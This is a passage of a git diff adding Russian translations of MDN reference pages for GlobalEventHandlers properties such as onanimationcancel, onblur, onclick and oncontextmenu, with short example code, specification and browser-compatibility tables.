+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">window.onabort = <em>funcRef</em>
+</pre>
+
+<ul>
+ <li><code>funcRef</code>: Reference to a function</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">window.onabort = function() {
+  alert("Load aborted.");
+}</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onabort','onabort')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html b/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html
new file mode 100644
index 0000000000..c1b865945d
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html
@@ -0,0 +1,247 @@
+---
+title: GlobalEventHandlers.onanimationcancel
+slug: Web/API/GlobalEventHandlers/onanimationcancel
+translation_of: Web/API/GlobalEventHandlers/onanimationcancel
+---
+<div>{{APIRef("CSS3 Animations")}}</div>
+
+<p>Обработчик события {{event("animationcancel")}} . Это событие вызывается когда CSS Анимация (<a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animation</a>) неожиданно прерывается (иными словами, в любой момент, когда анимация прекращает воспроизведение, не отправляя событие завершения {{event("animationend")}} ), например, когда изменяется {{cssxref("animation-name")}}, анимация удаляется или когда элемент с анимацией оказывается скрыт  (непосредственно сам элемент, или другой элемент, содержащий его) средствами CSS. </p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">var <em>animCancelHandler</em> = <em>target</em>.onanimationcancel;
+
+<em>target</em>.onanimationcancel = <em>{{jsxref("Function")}}</em>
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Функция {{jsxref("Function")}} вызывается когда {{event("animationcancel")}} происходит событие, указывающее, что CSS анимация запустилась на объекте <em>target</em>, где объект <em>target</em> object это HTML элемент ({{domxref("HTMLElement")}}), документ ({{domxref("Document")}}), или окно ({{domxref("Window")}}).  Эта функция принимает один параметр {{domxref("AnimationEvent")}} - объект, описывающий событие, которое произошло.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="HTML_content">HTML content</h3>
+
+<pre class="brush: html">&lt;div class="main"&gt;
+  &lt;div id="box" onanimationcancel="handleCancelEvent(event);"&gt;
+    &lt;div id="text"&gt;Box&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="button" id="toggleBox"&gt;
+  Hide the Box
+&lt;/div&gt;
+
+&lt;pre id="log"&gt;&lt;/pre&gt;</pre>
+
+<h3 id="CSS_content">CSS content</h3>
+
+<div class="hidden">
+<pre class="brush: css">:root {
+  --boxwidth:50px;
+}
+
+.main {
+  width: 300px;
+  height:300px;
+  border: 1px solid black;
+}
+
+.button {
+  cursor: pointer;
+  width: 300px;
+  border: 1px solid black;
+  font-size: 16px;
+  text-align: center;
+  margin-top: 0;
+  padding-top: 2px;
+  padding-bottom: 4px;
+  color: white;
+  background-color: darkgreen;
+  font: 14px "Open Sans", "Arial", sans-serif;
+}
+
+#text {
+  width: 46px;
+  padding: 10px;
+  position: relative;
+  text-align: center;
+  align-self: center;
+  color: white;
+  font: bold 1.4em "Lucida Grande", "Open Sans", sans-serif;
+}
+
+ </pre>
+</div>
+
+<p>Опустим некоторые фрагмнты CSS, не имеющие значение для нас, и рассмотрим стили для элемента, который мы анимируем. Это блок box со всеми своими свойствами, включая определенную анимацию {{cssxref("animation")}}. Мы продолжим и опишем анимацию прямо здесь, поскольку обычно она должна запускаться непосредственно при загрузке страницы, не зависимо от какого-либо другого события. </p>
+
+<pre class="brush: css">#box {
+  width: var(--boxwidth);
+  height: var(--boxwidth);
+  left: 0;
+  top: 0;
+  border: 1px solid #7788FF;
+  margin: 0;
+  position: relative;
+  background-color: #2233FF;
+  display: flex;
+  justify-content: center;
+  animation: 5s ease-in-out 0s infinite alternate both slideBox;
+}
+
+</pre>
+
+<p>Далее описываются ключевые кадры анимации, которые выводят содержимое из верхнего левого угла окна в нижний правый угол.</p>
+
+<pre class="brush: css">@keyframes slideBox {
+  from {
+    left:0;
+    top:0;
+  }
+  to {
+    left:calc(100% - var(--boxwidth));
+    top:calc(100% - var(--boxwidth))
+  }
+}
+</pre>
+
+<p>Поскольку анимация описывается как бесконечное число раз, поочередное попеременное направление, поле будет скользить назад и вперед между двумя углами до тех пор, пока не остановится или страница не будет закрыта.</p>
+
+<h3 id="JavaScript_content">JavaScript content</h3>
+
+<p>Прежде чем перейти к коду анимации, мы определяем функцию, которая регистрирует информацию в поле на экране пользователя. Мы будем использовать это, чтобы показать информацию о полученных событиях. Обратите внимание на использование {{domxref ("AnimationEvent.animationName")}} и {{domxref ("AnimationEvent.elapsedTime")}}, чтобы получить информацию о произошедшем событии.</p>
+
+<pre class="brush: js">function log(msg, event) {
+  let logBox = document.getElementById("log");
+
+  logBox.innerHTML += msg;
+
+  if (event) {
+    logBox.innerHTML += " &lt;code&gt;"+ event.animationName +
+        "&lt;/code&gt; at time " + event.elapsedTime.toFixed(2) +
+        " seconds.";
+  }
+
+  logBox.innerHTML += "\n";
+};
+
+
+</pre>
+
+<p>Затем мы устанавливаем обработчик событий <code>handleCancelEvent() - функцию</code>, которая вызывается в ответ на событие {{event("animationcancel")}}. Все, что мы делаем здесь - это выводим информацию в консоль, но вы можете использовать это для запуска новой анимацию или других эффектов, связанных с окончанием некоторой операции.</p>
+
+<pre class="brush: js">function handleCancelEvent(event) {
+  log("Animation canceled", event);
+};
+
+</pre>
+
+<p>Теперь добавим переключение {{cssxref("display")}} между <code>"</code><code>flex"</code> и <code>"</code><code>none"</code> и установим обрабочик события щелчка {{event("click")}} на кнопке "Hide/Show":</p>
+
+<pre class="brush: js">document.getElementById('toggleBox').addEventListener('click', function() {
+  if (box.style.display == "none") {
+    box.style.display = "flex";
+    document.getElementById("toggleBox").innerHTML = "Hide the box";
+  } else {
+    box.style.display = "none";
+    document.getElementById("toggleBox").innerHTML = "Show the box";
+  }
+});
+</pre>
+
+<p>Таким образом переключение стилей элемента <code>display: none</code> приводит к прерыванию анимации.  In browsers that support {{event("animationcancel")}}, the event is fired and this handler is called.</p>
+
+<div class="note">
+<p>At this time, no major browser supports <code>animationcancel</code>.</p>
+</div>
+
+<h3 id="Result">Result</h3>
+
+<p>Assembled together, you get this:</p>
+
+<p>{{ EmbedLiveSample('Example', 500, 400) }}</p>
+
+<p>If your browser supports <code>animationcancel</code>, hiding the box using the button will cause a message to be displayed about the event.</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Animations','#eventdef-animationevent-animationcancel','onanimationcancel')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(54)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(54)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{event("animationcancel")}} event this event handler is triggered by.</li>
+ <li>{{domxref("AnimationEvent")}}</li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onanimationend/index.html b/files/ru/web/api/globaleventhandlers/onanimationend/index.html
new file mode 100644
index 0000000000..babeb4f738
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onanimationend/index.html
@@ -0,0 +1,109 @@
+---
+title: GlobalEventHandler.onanimationend
+slug: Web/API/GlobalEventHandlers/onanimationend
+translation_of: Web/API/GlobalEventHandlers/onanimationend
+---
+<div>{{APIRef("CSS3 Animations")}}</div>
+
+<p>Обработчик события {{event("animationend")}}. Это событие вывзывается когда <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS анимация</a> достигает конца своего активного периода, который вычисляется как ({{cssxref("animation-duration")}} * {{cssxref("animation-iteration-count")}}) + {{cssxref("animation-delay")}}.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">var <em>animEndHandler</em> = <em>target</em>.onanimationend;
+
+<em>target</em>.onanimationend = <em>{{jsxref("Function")}}</em>
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>A {{jsxref ("Function")}} вызывается, когда происходит событие {{event ("animationend")}}, указывающее, что анимация CSS начинается с цели, где целевой объект является HTML-элементом ({{ Domxref ("HTMLElement")}}), документ ({{domxref ("Document")}}) или окно ({{domxref ("Window")}}). Функция получает в качестве входного параметра один параметр: {{domxref ("AnimationEvent")}} объект, описывающий событие, которое произошло.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>{{Page("/en-US/docs/Web/API/GlobalEventHandlers/onanimationstart", "Example")}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Animations','#eventdef-animationevent-animationend','onanimationend')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Microsoft Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatGeckoDesktop(51)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatGeckoMobile(51)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См_также">См также</h2>
+
+<ul>
+ <li>The {{event("animationend")}} event this event handler is triggered by</li>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li>The {{event("animationstart")}} event</li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onblur/index.html b/files/ru/web/api/globaleventhandlers/onblur/index.html
new file mode 100644
index 0000000000..435313c2d8
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onblur/index.html
@@ -0,0 +1,85 @@
+---
+title: GlobalEventHandlers.onblur
+slug: Web/API/GlobalEventHandlers/onblur
+translation_of: Web/API/GlobalEventHandlers/onblur
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Свойство <code><strong>onblur</strong></code> из {{domxref("GlobalEventHandlers")}} событий {{domxref("EventHandler")}} для {{event("blur")}} события. Оно доступно для{{domxref("Element")}}, {{domxref("Document")}} и {{domxref("Window")}}.</p>
+
+<p>Событие <code>blur</code> возникает когда элемент теряет фокус.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Обратным <code>onblur</code> является {{domxref("GlobalEventHandlers.onfocus", "onfocus")}}.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>target</em>.onblur = <em>functionRef</em>;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p><code>functionRef</code>  - это имя функции или <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a>. Функция получает объект {{domxref("FocusEvent")}} в качестве единственного аргумента.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>В этом примере <code>onblur</code> и {{domxref("GlobalEventHandlers.onfocus", "onfocus")}} используются для изменения текста в элементе {{HtmlElement("input")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="text" value="CLICK HERE"&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let input = document.querySelector('input');
+
+input.onblur = inputBlur;
+input.onfocus = inputFocus;
+
+function inputBlur() {
+  input.value = 'Focus has been lost';
+}
+
+function inputFocus() {
+  input.value = 'Focus is here';
+}</pre>
+
+<h3 id="Result_2">Result</h3>
+
+<p>Нажимайте внутри и вне поля формы. Содержимое будет изменятся.</p>
+
+<p id="Result">{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onblur','onblur')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.GlobalEventHandlers.onblur")}}</p>
+
+<p>In contrast to IE, in which almost all kinds of elements receive the <code>blur</code> event, only a few kinds of elements on Gecko browsers work with this event.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{event("blur")}} event</li>
+ <li>Related event handler: {{domxref("GlobalEventHandlers.onfocus")}}</li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onchange/index.html b/files/ru/web/api/globaleventhandlers/onchange/index.html
new file mode 100644
index 0000000000..727828bc5b
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onchange/index.html
@@ -0,0 +1,57 @@
+---
+title: GlobalEventHandlers.onchange
+slug: Web/API/GlobalEventHandlers/onchange
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+  - onchange
+translation_of: Web/API/GlobalEventHandlers/onchange
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<div> </div>
+</div>
+
+<p>Свойство <code>onchange</code> (Дословно "На изменение") устанавливает и возвращает <a href="/docs/Web/Guide/Events/Event_handlers">обработчик события</a>, для события {{event("change")}} (Изменение чего-либо).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em><var>element</var></em>.onchange = <em>handlerFunction</em>; // handlerFunction - ссылка на функцию обработчик, установленная как свойство <code>onchange, для элемента element</code>
+var <em>handlerFunction</em> = <em><var>element</var></em>.onchange;
+</pre>
+
+<p><code><em>handlerFunction</em></code>  должна быть либо <a href="/en-US/docs/Web/JavaScript/Reference/Functions">функцией</a> определяющей обработчик события, либо <code>null</code> .</p>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Почитайте  страницу <a href="/en-US/docs/Web/Guide/Events/Event_handlers">DOM обработчики события</a> , там содержится вся информация о работе с  <code>on...</code>  обработчиками.</p>
+
+<p>Документация по событию {{event("change")}}.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onchange','onchange')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите внести правки в эти данные, пожалуйста ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и Отправьте нам pull-request.</div>
+
+<p>{{Compat("api.GlobalEventHandlers.onchange")}}</p>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/onclick/index.html b/files/ru/web/api/globaleventhandlers/onclick/index.html
new file mode 100644
index 0000000000..17657d6383
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onclick/index.html
@@ -0,0 +1,103 @@
+---
+title: GlobalEventHandlers.onclick
+slug: Web/API/GlobalEventHandlers/onclick
+translation_of: Web/API/GlobalEventHandlers/onclick
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<div></div>
+
+<p>Свойство <strong>onclick</strong> возвращает обработчик события <code>click</code> на текущем элементе.</p>
+
+<div class="note"><strong>Note:</strong> При использовании обработчика события <code>click</code> для вызова любого действия, убедитесь, что событие <code>keydown</code> имеет такое же действие. Это нужно для того, чтобы пользователи, которые не используют мышь или тачскрин могли использовать то же действие.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>element</var>.onclick = <var>functionRef</var>;
+</pre>
+
+<p>где <em>functionRef</em> это функция - зачастую это имя функции, которая объявлена где-то в другом месте или же <em>функциональное выражение</em>. См. "<a href="/en-US/docs/JavaScript/Guide/Functions">JavaScript Guide:Functions</a>".</p>
+
+<p>Единственный аргумент, переданный в определённую функцию обработчик события это {{domxref("MouseEvent")}} объект. <code>this</code> внутри обработчика будет указывать на элемент, на котором было вызвано событие.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;meta charset="UTF-8" /&gt;
+    &lt;title&gt;onclick event example&lt;/title&gt;
+    &lt;script&gt;
+      function initElement() {
+        var p = document.getElementById("foo");
+        // NOTE: showAlert(); или showAlert(param); так НЕ сработает.
+        // Нужно использовать ссылку на функцию, но не вызов функции.
+        p.onclick = showAlert;
+      };
+
+      function showAlert(event) {
+        alert("onclick Event detected!");
+      }
+    &lt;/script&gt;
+    &lt;style&gt;
+      #foo {
+        border: solid blue 2px;
+      }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body onload="initElement();"&gt;
+    &lt;span id="foo"&gt;My Event Element&lt;/span&gt;
+    &lt;p&gt;click on the above element.&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Или же Вы можете использовать анонимную функцию, как здесь:</p>
+
+<pre class="brush:js">p.onclick = function(event) { alert("moot!"); };
+</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Событие <code>click</code> возникает, когда пользователь кликает на элемент. Событие <code>click</code> возникнет после событий <code>mousedown</code> и <code>mouseup</code>.</p>
+
+<p>С данным свойством только один обработчик события <code>click</code> может быть назначен объекту. Возможно, вместо данного метода, Вам стоит обратить внимание на метод {{domxref("EventTarget.addEventListener()")}}, т.к. он более гибкий и является частью спецификации DOM Events.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onclick','onclick')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.GlobalEventHandlers.onclick")}}</div>
+
+<h2 id="См._также">См. также</h2>
+
+<div>
+<ul>
+ <li>
+  <p id="event(click)_event">{{event("click")}} event</p>
+ </li>
+ <li>Related event handlers
+  <ul>
+   <li>{{domxref("GlobalEventHandlers.onauxclick")}}</li>
+   <li>{{domxref("GlobalEventHandlers.ondblclick")}}</li>
+  </ul>
+ </li>
+</ul>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/onclose/index.html b/files/ru/web/api/globaleventhandlers/onclose/index.html
new file mode 100644
index 0000000000..6a36f95dce
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onclose/index.html
@@ -0,0 +1,97 @@
+---
+title: GlobalEventHandlers.onclose
+slug: Web/API/GlobalEventHandlers/onclose
+translation_of: Web/API/GlobalEventHandlers/onclose
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Обработчик события для событий закрытия, отправляется в окно. (Не доступен в Firefox 2 или Safari)</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">window.onclose = funcRef;
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>funcRef</code> является ссылкой на функцию.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">window.onclose = resetThatServerThing;
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onclose','onclose')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>базоввая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>базоввая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/oncontextmenu/index.html b/files/ru/web/api/globaleventhandlers/oncontextmenu/index.html
new file mode 100644
index 0000000000..cc206b1a8c
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/oncontextmenu/index.html
@@ -0,0 +1,63 @@
+---
+title: GlobalEventHandlers.oncontextmenu
+slug: Web/API/GlobalEventHandlers/oncontextmenu
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+  - oncontextmenu
+translation_of: Web/API/GlobalEventHandlers/oncontextmenu
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<div> </div>
+
+<p><span class="seoSummary">Свойство обработчика событий для события клика правой кнопкой мыши внутри элемента window. </span></p>
+
+<p><span class="seoSummary">Если стандартное поведение не будет предотвращено, то активируется контекстное меню браузера (В IE8 есть ошибка, связанная с тем что контекстное меню не будет активировано если определён обработчик события contextmenu). </span></p>
+
+<p><span class="seoSummary">Обратите внимание что это событие будет происходить вместе с другими событиями right-click и не зависит от <a href="http://hacks.mozilla.org/2011/11/html5-context-menus-in-firefox-screencast-and-code/">"contextmenu" атрибута</a> элемента.</span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.oncontextmenu = funcRef;
+//funcRef - ссылка на функцию, которая будет вызвана в ответ на событие "oncontextmenu", происходящее при клике правой кнопкой мыши внутри объекта window.</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Код в этом примере меняет стандартное поведение браузера, отключая клик правой кнопкой мыши.</p>
+
+<pre class="brush:js;">document.oncontextmenu = function () { // Используйте объект "document" вместо "window" для совместимости с IE8.
+   return false;
+};
+
+window.addEventListener('contextmenu', function (e) { // Не совместимо с IE младше 9 версии
+    e.preventDefault();
+}, false);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Специфкация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-oncontextmenu','oncontextmenu')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите внести правки в эти данные, пожалуйста ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и Отправьте нам pull-request.</div>
+
+<p>{{Compat("api.GlobalEventHandlers.oncontextmenu")}}</p>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/ondragstart/index.html b/files/ru/web/api/globaleventhandlers/ondragstart/index.html
new file mode 100644
index 0000000000..3ead749a9b
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/ondragstart/index.html
@@ -0,0 +1,111 @@
+---
+title: GlobalEventHandlers.ondragstart
+slug: Web/API/GlobalEventHandlers/ondragstart
+translation_of: Web/API/GlobalEventHandlers/ondragstart
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
